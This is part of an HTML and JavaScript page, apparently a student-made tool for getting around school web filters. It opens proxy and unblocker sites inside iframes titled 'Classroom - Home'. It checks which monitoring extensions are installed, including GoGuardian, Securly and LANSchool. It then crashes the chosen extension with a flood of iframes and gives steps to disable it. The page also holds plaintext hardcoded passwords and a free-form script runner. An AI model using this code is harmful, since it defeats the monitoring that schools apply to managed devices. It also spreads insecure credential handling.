                    proxyUrl = "https://lunchly61.i-like-my-cheese-drippy-bruh.wolunblox.math1.4cloud.click/";
                    break;
                case ("Arca"):
                    proxyUrl = "https://frogiesarca.de/";
                    break;
				default:
					return; // Exit the function if the input is invalid
			}
			// Open the selected URL in a new popup window
			var popup = window.open("about:blank", "_blank", "width=800,height=600");
			popup.document.write(`
                    <html>
                        <head>
                            <title>Classroom - Home</title>
                            <style>
                                body {
                                    margin: 0;
                                    padding: 0;
                                    background: url('https://wallpaper.dog/large/17167981.gif') no-repeat center center fixed;
                                    background-size: cover;
                                }
                                #websiteFrame {
                                    width: 100vw;
                                    height: 100vh;
                                    border: none;
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                        </body>
                    </html>
                `);
			popup.document.close();
			// Add event listener to detect F11 key for fullscreen
			popup.document.addEventListener("keydown", function(event) {
				if(event.key === "F11") {
					event.preventDefault(); // Prevent the default F11 behavior
					var iframe = popup.document.getElementById("websiteFrame");
					if(iframe.requestFullscreen) {
						iframe.requestFullscreen();
					} else if(iframe.mozRequestFullScreen) {
						// Firefox
						iframe.mozRequestFullScreen();
					} else if(iframe.webkitRequestFullscreen) {
						// Chrome, Safari and Opera
						iframe.webkitRequestFullscreen();
					} else if(iframe.msRequestFullscreen) {
						// IE/Edge
						iframe.msRequestFullscreen();
					}
				}
			});
		});
		</script>
<script>
    // Variable to store the custom URL

    // Show the custom URL input section when the button is clicked
    document.getElementById("openWebsiteButton").addEventListener("click", function() {
        // Prompt the user to select a website
        var choice = prompt("Which website do you want to open?\n1. Anura\n2. Aluu\n3. EvilTester\n4. Incognito\n5. DogeUnblocker\n6. Ruffle\n7. ProxySite\n8. Custom\n9. CustomFrame\n10. Space\n11. Utopia\n12. Szvy\n13. Arsenic\n14. Interstellar\n15. Arca");
        document.getElementById("customUrlSection").style.display = "none"; // Hide the custom URL section
        var proxyUrl;

        // Determine the URL based on user input
        switch(choice) {
            case "Anura":
                proxyUrl = "https://anura.pro/";
                break;
            case "Incognito":
                proxyUrl = "https://incog.works/";
                break;
            case "DogeUnblocker":
                proxyUrl = "https://desk.chillcrew.net/";
                break;
            case "Aluu":
                proxyUrl = "https://aluu.xyz/";
                break;
            case "EvilTester":
                proxyUrl = "https://eviltester.github.io/TestingApp/apps/iframe-search/iframe-search.html";
                break;
            case "Win11":
                proxyUrl = "https://win11.blueedge.me/";
                break;
            case "ProxySite":
                proxyUrl = "https://www.proxysite.com/";
                break;
            case "Ruffle":
                proxyUrl = "https://ruffle.rs/demo/";
                break;
            case "Space":
                proxyUrl = "https://class.happymosaic.ru/";
                break;
            case "Utopia":
                proxyUrl = "https://sci.state.tokohabibah.com/";
                break;
            case "Szvy":
                proxyUrl = "https://portal.ohio.govt.hu/";
                break;
            case "Arsenic":
                proxyUrl = "https://88.hitekplacements.net/";
                break;
            case "Interstellar":
                proxyUrl = "https://lunchly61.i-like-my-cheese-drippy-bruh.wolunblox.math1.4cloud.click/";
                break;
            case "Arca":
                proxyUrl = "https://frogiesarca.de/";
                break;
            case "Custom":
            case "CustomFrame":
                var customUrl = prompt("Please enter your custom URL:");
                if(!customUrl) {
                    alert("No URL entered. Please try again.");
                    return; // Exit if no URL is provided
                }
                // Validate the custom URL (basic validation)
                if(!/^https?:\/\//i.test(customUrl)) {
                    alert("Please enter a valid URL starting with http:// or https://");
                    return; // Exit if the URL is invalid
                }
                proxyUrl = customUrl; // Use the custom URL
                savedCustomUrl = customUrl; // Save the custom URL
                break;
            default:
                alert("Invalid choice. Please select a valid option.");
                return; // Exit if the input is invalid
        }

        // Prompt for the number of times to open the website
        var times = prompt("How many times do you want to open this website?");
        times = parseInt(times);
        if(isNaN(times) || times <= 0) {
            alert("Please enter a valid number.");
            return; // Exit if the number is invalid
        }

        // Open the selected URL the specified number of times
        for(let i = 0; i < times; i++) {
            var popup = window.open("about:blank", 'newWindow' + i, 'width=800,height=600'); // Open in a new window
            if(choice !== "Custom") { // If not custom URL
                popup.document.write(`
                    <html>
                        <head>
                            <title>Loaded Website</title>
                            <style>
                                body {
                                    background: url('https://wallpaper.dog/large/17167981.gif') no-repeat center center fixed;
                                    background-size: cover;
                                    color: white;
                                    font-family: 'Arial', sans-serif;
                                }
                                #websiteFrame {
                                    width: 100%;
                                    height: 90%;
                                    border: none;
                                }
                                textarea {
                                    width: 100%;
                                    height: 100px;
                                    margin-top: 10px;
                                    background-color: rgba(255, 255, 255, 0.1);
                                    color: white;
                                    border: 1px;
                                    solid #61dafb;
                                    border-radius: 5px;
                                }
                                button {
                                    background-color: #351b6054;
                                    color: #ffffff;
                                    border: none;
                                    cursor: pointer;
                                    padding: 10px 20px;
                                    border-radius: 5px;
                                    font-size: 16px;
                                    margin: 10px auto;
                                    transition: background-color 0.3s ease, transform 0.3s ease, box-shadow 0.3s ease;
                                }
                                button:hover {
                                    background-color: #0a1124;
                                    transform: translateY(-5px);
                                    box-shadow: 0 8px 20px rgba(0, 0, 0, 0.3);
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                            <textarea id="jsInput" placeholder="Enter JavaScript code here..."></textarea>
                            <button id="executeJsButton">Execute JavaScript</button>
                            <button id="fullscreenButton">Toggle Fullscreen</button>
                        </body>
                    </html>
                `);
                
                // Add event listener for the fullscreen button
                popup.document.getElementById("fullscreenButton").addEventListener("click", function() {
                    var iframe = popup.document.getElementById("websiteFrame");
                    if (iframe.requestFullscreen) {
                        iframe.requestFullscreen();
                    } else if (iframe.mozRequestFullScreen) { // Firefox
                        iframe.mozRequestFullScreen();
                    } else if (iframe.webkitRequestFullscreen) { // Chrome, Safari and Opera
                        iframe.webkitRequestFullscreen();
                    } else if (iframe.msRequestFullscreen) { // IE/Edge
                        iframe.msRequestFullscreen();
                    }
                });
            } else { // If custom URL
                popup.location.href = proxyUrl; // Directly set the location for custom URL
            }
            popup.document.close();
        }

        // Keep the button in the same position
        this.blur(); // Remove focus from the button to prevent any default behavior
    });

    // Optionally hide the button after it's clicked
    this.style.display = "block";

    // Functionality to open custom URL (if needed)
    document.getElementById("openCustomUrlButton").addEventListener("click", function() {
        var customUrl = document.getElementById("customUrlInput").value;
        // Validate the URL
        if(!customUrl) {
            alert("Please enter a valid URL.");
            return;
        }
        // Save the custom URL for future use
        savedCustomUrl = customUrl;
        // Open the custom URL in a new window
        var popup = window.open("about:blank", "customWindow", "width=800,height=600");
        popup.document.write(`
            <html>
                <head>
                    <title>Classroom - Home</title>
                    <style>
                        body {
                            margin: 0;
                            padding: 0;
                            background: url('https://wallpaper.dog/large/17167981.gif') no-repeat center center fixed;
                            background-size: cover;
                        }
                        #websiteFrame {
                            width: 100vw;
                            height: 100vh;
                            border: none;
                        }
                    </style>
                </head>
                <body>
                    <iframe id="websiteFrame" src="${customUrl}"></iframe>
                    <button id="fullscreenButton">Toggle Fullscreen</button>
                </body>
            </html>
        `);
        popup.document.close();

        // Add event listener for the fullscreen button
        popup.document.getElementById("fullscreenButton").addEventListener("click", function() {
            var iframe = popup.document.getElementById("websiteFrame");
            if (iframe.requestFullscreen) {
                iframe.requestFullscreen();
            } else if (iframe.mozRequestFullScreen) { // Firefox
                iframe.mozRequestFullScreen();
            } else if (iframe.webkitRequestFullscreen) { // Chrome, Safari and Opera
                iframe.webkitRequestFullscreen();
            } else if (iframe.msRequestFullscreen) { // IE/Edge
                iframe.msRequestFullscreen();
            }
        });

        // Hide the custom URL section and reset the input field
        document.getElementById("customUrlSection").style.display = "none";
        document.getElementById("customUrlInput").value = ""; // Clear the input field
    });

    // Functionality to close the custom URL input section
    document.getElementById("closeCustomUrlButton").addEventListener("click", function() {
        document.getElementById("customUrlSection").style.display = "none";
        document.getElementById("showCustomUrlButton").style.display = "block"; // Show the button again
        document.getElementById("customUrlInput").value = ""; // Clear the input field
    });

    // Functionality to open the saved custom URL
    document.getElementById("openSavedCustomUrlButton").addEventListener("click", function() {
        if(savedCustomUrl) {
            var times = prompt("How many times do you want to open the saved custom URL?");
            times = parseInt(times);
            if(isNaN(times) || times <= 0) {
                alert("Please enter a valid number.");
                return; // Exit if the number is invalid
            }
            // Open the saved custom URL the specified number of times in a new window
            for(let i = 0; i < times; i++) {
                var popup = window.open("about:blank", 'savedCustomWindow' + i, 'width=800,height=600'); // Open in a new window
                popup.location.href = savedCustomUrl; // Directly set the location for saved custom URL
            }
        } else {
            alert("No custom URL saved. Please enter a custom URL first.");
        }
    });
</script>
		<script>
		document.getElementById("openallgg").addEventListener("click", function() {
			const websites = ["https://anura.pro/", "https://aluu.xyz/", "https://eviltester.github.io/TestingApp/apps/iframe-search/iframe-search.html", "https://incog.works/", "https://desk.chillcrew.net/", "https://win11.blueedge.me/", "https://www.proxysite.com/", "https://ruffle.rs/demo/", "https://honors.classicalmusicfortheworld.org/", "https://sci.state.tokohabibah.com/", "https://portal.ohio.govt.hu/", "https://88.hitekplacements.net/", "https://lunchly61.i-like-my-cheese-drippy-bruh.wolunblox.math1.4cloud.click/", "https://frogiesarca.de/", "https://class.happymosaic.ru/"];
			// Open each website in a new popup window
			websites.forEach(function(url) {
				var popup = window.open("about:blank", "_blank", "width=800,height=600");
				popup.document.write(`
                <html>
                    <head>
                        <title>Classroom - Home</title>
                        <style>
                            body {
                                margin: 0;
                                padding: 0;
                                background-size: cover;
                            }
                            #websiteFrame {
                                width: 100vw;
                                height: 100vh;
                                border: none;
                            }
                        </style>
                    </head>
                    <body>
                        <iframe id="websiteFrame" src="${url}"></iframe>
                    </body>
                </html>
            `);
				popup.document.close();
			});
		});
		</script>
	</div>
	<div class="overlay" id="overlay">
		<div class="spinner"></div>
		<div>Hanging... Please wait.</div>
	</div>
	<div id="killExtensionText" style="display: none"></div>
	<footer> <a href="https://docs.google.com/document/d/16s0am4PelMGw375ctXoBn109s4BFwi7LP_yXOXKyKSs/edit?usp=sharing">Google Doc Link</a>
    </footer>

    <iframe id="backgroundVideo" class="background-media" style="display: none" frameborder="0" allowfullscreen=""></iframe>
    <img id="backgroundImage" class="background-media" style="display: none">

    <script>
    const validUsers = {
        Admin: "AustonJK0",
        Zyaire: "Zya",
        TIM: "Tim",
        Jayshawn: "Jay",
        Jayrion: "JayG",
        Namir: "Nam",
        Taylor: "TayTay",
    };

    loadSavedUserLogin();

    function saveUserLogin(username, password) {
    localStorage.setItem("username", username); // Save the actual username
    localStorage.setItem("password", password);
    localStorage.setItem("isLoggedIn", "true"); // Set login state
}

function loadSavedUserLogin() {
    const savedUsername = localStorage.getItem("username");
    const savedPassword = localStorage.getItem("password");
    const isLoggedIn = localStorage.getItem("isLoggedIn");

    if (isLoggedIn === "true") {
        // User is already logged in
        document.getElementById("mainContent").style.display = "block";
        setBackground();
        displayWelcomeMessage(savedUsername); // Display welcome message
    } else if (savedUsername && savedPassword) {
        // If there are saved credentials, fill them in
        document.getElementById("usernameInput").value = savedUsername;
        document.getElementById("passwordInput").value = savedPassword;
        checkLogin();
    } else {
        // Show login modal if not logged in
        const loginModal = document.getElementById("loginModal");
        loginModal.classList.add("show"); // Add class to show modal
    }
}

function checkLogin() {
    const username = document.getElementById("usernameInput").value;
    const password = document.getElementById("passwordInput").value;

    if (validUsers[username] && validUsers[username] === password) {
        saveUserLogin(username, password); // Save the actual username
        document.getElementById("loginModal").style.display = "none";
        document.getElementById("mainContent").style.display = "block";
        setBackground();
        displayWelcomeMessage(username); // Display welcome message
    } else {
        alert("Incorrect username or password. Please try again.");
    }
}

function displayWelcomeMessage(username) {
    const welcomeMessage = document.getElementById("welcomeMessage");
    welcomeMessage.innerText = `Welcome, ${username}!`;
    welcomeMessage.style.display = "block"; // Show the welcome message
}

    // Other functions remain unchanged...

    function setBackground() {
        const videoRegex = /\.(mp4|webm|ogg)$/i;
        const imageRegex = /\.(jpeg|jpg|gif|png|svg|bmp|webp)$/i;
        const imageUrl = "https://wallpaper.dog/large/17167981.gif"; // Set your image URL here
        const videoUrl = ""; // Set your video URL here

        if (videoRegex.test(videoUrl)) {
        document.getElementById("backgroundVideo").src = videoUrl;
        document.getElementById("backgroundVideo").style.display = "block";
        document.getElementById("backgroundImage").style.display = "none";
        document
            .getElementById("backgroundVideo")
            .setAttribute("allow", "autoplay");
        } else if (imageRegex.test(imageUrl)) {
        document.getElementById("backgroundImage").src = imageUrl;
        document.getElementById("backgroundImage").style.display = "block";
        document.getElementById("backgroundVideo").style.display = "none";
        }
    }

    async function checkExtensionURL(url) {
        try {
        const response = await fetch(url);
        if (response.ok) {
            return true;
        } else {
            return false;
        }
        } catch (error) {
        return false;
        }
    }

    async function populateSelectOptions() {
    const selectElement = document.getElementById("iframeSelect");
    const extensions = {
        "Securly": "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css",
        "Securly (old)": "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css",
        "GoGuardian": "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js",
        "LANSchool": "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html",
        "Linewize": "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html",
        "Blocksi": "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html",
        "FortiGuard": "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js",
        "Cisco Umbrella": "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html",
        "ContentKeeper": "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png",
        "CK-Authenticator G3": "chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png",
        "Securly Classroom": "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html",
        "Hapara": "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html",
        "Hapara (new ID)": "chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html",
        "iboss": "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html",
        "Lightspeed Filter Agent": "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png",
        "Lightspeed Classroom": "chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png",
        "InterCLASS Filtering Service": "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html",
        "InterSafe GatewayConnection Agent": "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js",
        "LoiLo Web Filters": "chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png",
        "Gopher Buddy": "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png",
        "LanSchool Web Helper": "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html",
        "IMTLazarus": "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json",
        "Impero Backdrop": "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html",
        "Mobile Guardian": "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html",
    };

    let hasSupportedExtensions = false;

    for (const [name, url] of Object.entries(extensions)) {
        if (await checkExtensionURL(url)) {
            const option = document.createElement("option");
            option.value = url;
            option.textContent = name;
            selectElement.appendChild(option);
            hasSupportedExtensions = true;
        }
    }

    // Hide buttons if no supported extensions are found
    if (!hasSupportedExtensions) {
        const option = document.createElement("option");
        option.value = "";
        option.textContent = "We found nothing.";
        selectElement.appendChild(option);
        document.getElementById("hangButton").style.display = "none";
        document.getElementById("openGoogleButton").style.display = "none";
        document.getElementById("tutcrash").style.display = "none";
        document.getElementById("crashButton").style.display = "none";
        document.getElementById("openNewTabButton").style.display = "none";
		document.getElementById("nutWater").style.display = "none";
        document.getElementById("toggleNotificationButton").style.display = "none";
        document.getElementById("openWebsiteButton").style.display = "none";
        document.getElementById("openModalButton").style.display = "none";
        document.getElementById("showCustomUrlButton").style.display = "none";
		document.getElementById("playButton").style.display = "none";
		document.getElementById("toggleButton").style.display = "none";
        document.getElementById("openCustomUrlButton").style.display = "none";
        document.getElementById("closeCustomUrlButton").style.display = "none";
        document.getElementById("openallgg").style.display = "none";
    }
}

    populateSelectOptions();

    function replaceIframes(container, iframeSrc) {
        for (var i = 0; i < 1000; i++) {
        var iframe = document.createElement("iframe");
        iframe.src = iframeSrc;
        iframe.style.width = "100%";
        iframe.style.height = "100px";
        container.appendChild(iframe);
        }
        setTimeout(function () {
        while (container.firstChild) {
            container.removeChild(container.firstChild);
        }
        replaceIframes(container, iframeSrc);
        }, 5);
    }

    function warning() {
        var overlay = document.getElementById("overlay");
        overlay.style.display = " flex"; // Show overlay only for this action
        var iframeSelect = document.getElementById("iframeSelect");
        var selectedOption =
        iframeSelect.options[iframeSelect.selectedIndex].text;
        var selectedSrc = iframeSelect.value;
        var popup = window.open("", "PopupWindow", "width=50,height=50");
        var popupDocument = popup.document;
        var popupBody = popupDocument.body;
        var iframeContainer = popupDocument.createElement("div");
        iframeContainer.id = "iframeContainer";
        popupBody.appendChild(iframeContainer);
        replaceIframes(iframeContainer, selectedSrc);
        setTimeout(function () {
        popup.close();
        var extensionId = selectedSrc.substring(
            selectedSrc.indexOf("//") + 2,
            selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2)
        );
        var killExtensionText = document.getElementById("killExtensionText");
        killExtensionText.innerHTML =
            "Now that the extension <strong>" +
            selectedOption +
            "</strong> has been hanged, press the button above.";
        setTimeout(function () {
            overlay.style.display = "none"; // Hide overlay after action
            killExtensionText.style.display = "block";
            document.getElementById("killButton").style.display = "inline-block";
            document.getElementById("hangButton").style.display = "none";
            document.getElementById("crashButton").style.display = "none";
            document.getElementById("openGoogleButton").style.display = "none";
            document.getElementById("openModalButton").style.display = "none";
            document.getElementById("tutcrash").style.display = "none";
			document.getElementById("nutWater").style.display = "none";
            document.getElementById("openallgg").style.display = "none";
			document.getElementById("playButton").style.display = "none";
            document.getElementById("toggleNotificationButton").style.display = "none";
            document.getElementById("openNewTabButton").style.display = "none";
			document.getElementById("toggleButton").style.display = "none";
            document.getElementById("showCustomUrlButton").style.display = "none";
            document.getElementById("openCustomUrlButton").style.display = "none";
            document.getElementById("closeCustomUrlButton").style.display = "none";
            document.getElementById("openWebsiteButton").style.display = "none";
            document.getElementById("iframeSelect").style.display = "none";
            document.getElementById("labelForIframeSelect").style.display = "none";
            document
            .getElementById("killButton")
            .setAttribute("data-url", selectedSrc);
        }, 10000);
        }, 5000);
    }

    function openExtensionPopup() {
        var selectedSrc = document
        .getElementById("killButton")
        .getAttribute("data-url");
        var extensionId = selectedSrc.substring(
        selectedSrc.indexOf("//") + 2,
        selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2)
        );
        var killExtensionText = document.getElementById("killExtensionText");
        document.getElementById("killButton").style.display = "none";
        killExtensionText.innerHTML =
        "Make sure to keep this tab open. Then in a new tab open <strong>chrome://extensions/?id=" +
        extensionId +
        "</strong> Flip the switch called allow access to file URLs twice. The extension was successfully killed! Now you can close that tab as well as this one. If you want to restore the extension, flip the allow access to file URLs switch again.";

        window.location.href = selectedSrc;
    }

    function openCrashPopup() {
    // Create a new popup window
    var popup = window.open("", "CrashPopup", "width=800,height=600");
    var popupDocument = popup.document;

    // Write the initial HTML content to the popup
    popupDocument.write(`
        <html>
            <head>
                <title>Classroom - Home</title>
                <style>
                    body {
                        background: url('https://wallpaper.dog/large/17167981.gif') no-repeat center center fixed;
                        background-size: cover;
                        color: #ffffff;
                        font-family: 'Varela Round', sans-serif;
                        padding: 20px;
                        display: flex;
                        flex-direction: column;
                        height: 100vh;
                    }
                    .container {
                        display: flex;
                        flex: 1;
                        margin-bottom: 10px;
                    }
                    .code-area {
                        flex: 1;
                        margin-right: 10px;
                    }
                    .output-area {
                        flex: 1;
                        border: 1px solid #ffffff;
                        background-color: rgba(0, 0, 0, 0.5);
                        display: none; /* Initially hide the output area */
                        overflow: auto; /* Enable scrolling */
                        resize: both; /* Allow both horizontal and vertical resizing */
                        padding: 10px; /* Add some padding */
                    }
                    textarea {
                        width: 100%;
                        height: 100px;
                        margin-bottom: 10px;
                        background-color: rgba(255, 255, 255, 0.1);
                        color: #ffffff;
                        border: 1px solid #ffffff;
                        border-radius: 5px;
                        transition: border-color 0.3s ease;
                    }
                    textarea:focus {
                        border-color: #4b6b77;
                        outline: none;
                    }
                    button {
                        margin: 5px 0; /* Vertical margin for spacing */
                        padding: 10px; /* Consistent padding */
                        background-color: #351b6054;
                        color: #ffffff;
                        border: none;
                        font-size: 14px; /* Smaller font size */
                        border-radius: 5px; /* Smaller border radius */
                        width: 100%; /* Set all buttons to the same width */
                        transition: background-color 0.3s ease, transform 0.3s ease, box-shadow 0.3s ease;
                        cursor: pointer;
                    }
                    button:hover {
                        background-color: #0a1124;
                        transform: translateY(-2px);
                        box-shadow: 0 4px 10px rgba(0, 0, 0, 0.3);
                    }
                    iframe {
                        width: 100%;
                        height: 100%;
                        border: none;
                    }
                    .error {
                        color: red;
                    }
                </style>
            </head>
            <body>
                <h1>Execute HTML and JavaScript</h1>
                <div class="container">
                    <div class="code-area">
                        <h2>HTML Input</h2>
                        <textarea id="htmlInput" placeholder="Write your HTML code here..."></textarea>
                        <button id="executeHtmlButton">Execute HTML</button>
                        <h2>JavaScript Input</h2>
                        <textarea id="jsInput" placeholder="Write your JavaScript code here..."></textarea>
                        <button id="executeJsButton">Execute JavaScript</button>
                        <h2>Upload File</h2>
                        <input type="file" id="fileInput" accept=".html,.js" />
                        <button id="loadFileButton">Load File</button>
                        <button id="removeFileButton">Remove File</button>
                        <button id="popOutButton">Pop Out HTML</button>
                        <button id="toggleOutputButton">Toggle Output</button>
                        <div id="jsError" class="error"></div> <!-- Error display -->
                    </div>
                    <div class="output-area" id="outputArea" contenteditable="true">
                        <iframe id="output"></iframe>
                    </div>
                </div>
            </body>
 </html>
    `);

    // Close the document to render the content
    popupDocument.close();

    // Create a variable to hold the output document
    let outputDocument;

    // Function to update the output iframe
    function updateOutput() {
        const htmlCode = popupDocument.getElementById("htmlInput").value;
        const outputFrame = popupDocument.getElementById("output");
        outputDocument = outputFrame.contentDocument || outputFrame.contentWindow.document;

        // Clear the output document before writing new content
        outputDocument.open();
        outputDocument.write(`
            <html>
                <head>
                    <title>Output</title>
                    <style>
                        body {
                            margin: 0;
                            padding: 0;
                            background: rgba(0, 0, 0, 0.5);
                            color: #ffffff;
                        }
                    </style>
                </head>
                <body>
                    ${htmlCode} <!-- Only include the body content -->
                </body>
            </html>
        `);
        outputDocument.close();

        // Show the output area after executing HTML
        popupDocument.getElementById("outputArea").style.display = "block"; // Ensure the output area is visible
    }

    // Function to execute JavaScript and check for errors
    function executeJavaScript() {
        const jsCode = popupDocument.getElementById("jsInput").value;
        const jsErrorDisplay = popupDocument.getElementById("jsError");
        jsErrorDisplay.textContent = ""; // Clear previous errors

        try {
            const script = outputDocument.createElement("script");
            script.textContent = jsCode;
            outputDocument.body.appendChild(script);
        } catch (error) {
            jsErrorDisplay.textContent = "Syntax Error: " + error.message; // Display error message
        }
    }

    // Add event listener for the input event on the HTML textarea
    popupDocument.getElementById("htmlInput").addEventListener("input", updateOutput);

    // Add event listener for the execute HTML button
    popupDocument.getElementById("executeHtmlButton").addEventListener("click", updateOutput);

    // Add event listener for the editable output area
    popupDocument.getElementById("outputArea").addEventListener("input", function () {
        const editableContent = popupDocument.getElementById("outputArea").innerHTML;
        popupDocument.getElementById("htmlInput").value = editableContent; // Update the HTML input with the editable content
        updateOutput(); // Update the output iframe with the new content
    });

    // Add event listener for the execute JavaScript button
    popupDocument.getElementById("executeJsButton").addEventListener("click", executeJavaScript);

    // Add event listener for the load file button
    popupDocument.getElementById("loadFileButton").addEventListener("click", function () {
        const fileInput = popupDocument.getElementById("fileInput");
        const file = fileInput.files[0];

        if (file) {
            const reader = new FileReader();
            reader.onload = function (event) {
                const fileContent = event.target.result;
                const isHtml = file.name.endsWith('.html');
                const isJs = file.name.endsWith('.js');

                if (isHtml) {
                    popupDocument.getElementById("htmlInput").value = fileContent;
                    updateOutput(); // Update output immediately after loading HTML
                } else if (isJs) {
                    popupDocument.getElementById("jsInput").value = fileContent;
                    executeJavaScript(); // Execute JavaScript immediately after loading
                } else {
                    alert("Please upload a valid HTML or JavaScript file.");
                }
            };
            reader.readAsText(file);
        } else {
            alert("No file selected.");
        }
    });

    // Add event listener for the remove file button
    popupDocument.getElementById("removeFileButton").addEventListener("click", function () {
        popupDocument.getElementById("fileInput").value = ""; // Clear the file input
        popupDocument.getElementById("htmlInput").value = ""; // Clear the HTML input
        popupDocument.getElementById("jsInput").value = ""; // Clear the JavaScript input
        popupDocument.getElementById("outputArea").style.display = "none"; // Hide the output area
        popupDocument.getElementById("jsError").textContent = ""; // Clear any error messages
    });

    // Add event listener for the pop out button
    popupDocument.getElementById("popOutButton").addEventListener("click", function () {
        const htmlCode = popupDocument.getElementById("htmlInput").value;
        const jsCode = popupDocument.getElementById("jsInput").value;

        // Open a new window for the HTML output
        const newWindow = window.open("", "PoppedOutHTML" + Date.now(), "width=800,height=600");
        newWindow.document.write(`
            <html>
                <head>
                    <title>Popped Out HTML</title>
                </head>
                <body>
                    ${htmlCode}
                </body>
            </html>
        `);
        newWindow.document.close();

        // Function to execute JavaScript in the popped-out window
        const executeJsInNewWindow = (code) => {
            const script = newWindow.document.createElement("script");
            script.textContent = code;
            newWindow.document.body.appendChild(script);
        };

        // Execute JavaScript in the new window
        executeJsInNewWindow(jsCode);

        // Add a button to execute JavaScript in the popped-out window
        const executeJsButton = newWindow.document.createElement("button");
        executeJsButton.textContent = "Execute JavaScript";
        executeJsButton.style.margin = "5px";
        executeJsButton.style.padding = "10px"; // Consistent padding
        executeJsButton.style.backgroundColor = "#351b6054";
        executeJsButton.style.color = "#ffffff";
        executeJsButton.style.border = "none";
        executeJsButton.style.fontSize = "14px"; // Smaller font size
        executeJsButton.style.borderRadius = "5px"; // Smaller border radius
        newWindow.document.body.appendChild(executeJsButton);

        executeJsButton.addEventListener("click", function () {
            const jsCode = popupDocument.getElementById("jsInput").value;
            executeJsInNewWindow(jsCode);
        });
    });

    // Add event listener for the toggle output button
    popupDocument.getElementById("toggleOutputButton").addEventListener("click", function () {
        const outputArea = popupDocument.getElementById("outputArea");
        outputArea.style.display =
            outputArea.style.display === "none" || outputArea.style.display === ""
                ? "block"
                : "none";
    });
}
    </script>

</div></body></html>